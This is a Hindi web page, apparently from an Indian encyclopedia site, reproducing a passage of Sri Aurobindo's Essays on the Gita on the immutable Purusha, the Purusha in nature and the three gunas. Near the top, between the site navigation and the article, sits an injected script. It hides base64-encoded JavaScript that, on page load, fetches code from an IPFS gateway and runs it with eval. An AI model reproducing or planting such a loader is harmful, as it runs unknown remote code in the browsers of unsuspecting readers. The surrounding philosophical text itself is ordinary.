गीता प्रबंध -अरविन्द पृ. 251

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
1. दो प्रकृतियां

अध्यात्म के इस क्षेत्र में यही पद्धति और भाषा ठीक होती है। परंतु गीता इसका अवलंबन नहीं कर सकती , क्योंकि इसे बौद्धिक समस्या का समाधान करना है, ऐसे मन को समझाना है जिसमें तर्क - बुद्धि , ऐसी तर्क - बुद्धि जिसके सामने हम अपनी सब प्रेरणाओं और भाव - तरंगों के विरोध रखकर उनपर उसका फैसला चाहते हैं, आप ही अपने विरूद्ध हो रही है और किसी प्रकार का निश्चय करने में असमर्थ है। तर्क - बुद्धि को एक ऐसे सत्य की ओर ले जाना है जो उसके परे है, पर उसे वहां उसीके अपने साधन और अपनी पद्धति से ले जाना है। तर्क - बुद्धि के सामने आत्मानुभव का यदि कोई ऐसा समाधन रखा जाये जिसके तथ्यों के विषय में उसे स्वयं कुछ भी अनुभव न हो तो उसकी सत्यता पर उसे तब तक विश्वास नहीं होगा जब तक उस समाधन के मूल में विद्यमान आत्मिक सत्यों का बौद्धिक निरूपण करके उसे संतुष्ट न कर दिया जाये। अब तक प्रतिपाद्य विषय की पुष्टि में जो सत्य उसके सामने रखे गये हैं वे पहले से ही उसके जाने हुए हैं और विषय की शुरूआत के लिये ठीक है। सबसे पहले अक्षर पुरूष और प्राकृतिस्थ पुरूष, इन दोनों में भेद किया गया है। यह भेद यह दिखलाने के लिये किया गया है प्रकृतिस्थ पुरूष जब तक अहंकार से हाने वाले कर्म के अंदर बधा रहता है, वह अनिवार्यतः त्रिगुण की क्रियाओं के अधीन रहता है और उसकी देहस्थित बुद्धि , मन, प्राण और इन्द्रियों का सारा कर्म और सारी कर्म - पद्धति त्रिगुण के अस्थिर खेल के सिवा और कुछ नहीं होती। और इस चक्कर के अंदर इसका कोई समाधान नहीं है ।
अतः त्रिगुणमयी प्रकृति के इस चक्कर से परे उस एक अक्षर पुरूष और शांत ब्रह्म की ओर उपर उठकर समाधान ढ़ूढना होगा, क्योंकि तभी कोई अहंकार और इच्छा - चलित कर्म से जो कि कठिनाई की सारी जड़ है, ऊपर उठ सकता है। परंतु केवल इतने से तो अकर्म की ही प्राप्ति होती है, क्योंकि प्रकृति के परे कर्म का कोई कारण नहीं, न कर्म का कोई कारण या निर्धारण ही है- अक्षर पुरूष तो अकर्मशील है, सब पदार्थो , कार्यो और घटनाओं में तटस्थ और सम है। इसलिये यहां योगशास्त्र में प्रतिपादित ईश्वर का यह भाव लाया गया है कि ईश्वर कर्मो और यज्ञों के भोक्ता प्रभु हैं, और यहां इसका संकेत मात्र क्रिया है, यह स्पष्ट नहीं कहा गया है कि ये ईश्वर अक्षर ब्रह्म के भी परे हैं और इन्हींमें विश्व - लीला का गंभीर रहस्य निहित है। इसलिये अक्षर पुरूष से होकर इनकी ओर ऊपर बढ़ने से हम अपने कर्मो से आध्यात्मिक मुक्ति भी पा सकते हैं और साथी ही प्रकृति के कर्मो में भी भाग लेते रह सकते हैं। पर अभी यह नहीं बताया गया कि ये परम पुरूष जो यहां भगवान् गुरू और कर्म - रथ के सारथी - रूप में अवतरित हैं, कौंन हैं और अक्षर पुरूष तथा प्रकृतिस्थ व्यष्टि के साथ इनके क्या संबंध हैं। न यह बात ही अभी स्पष्ट हुई है


« पीछे आगे »

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध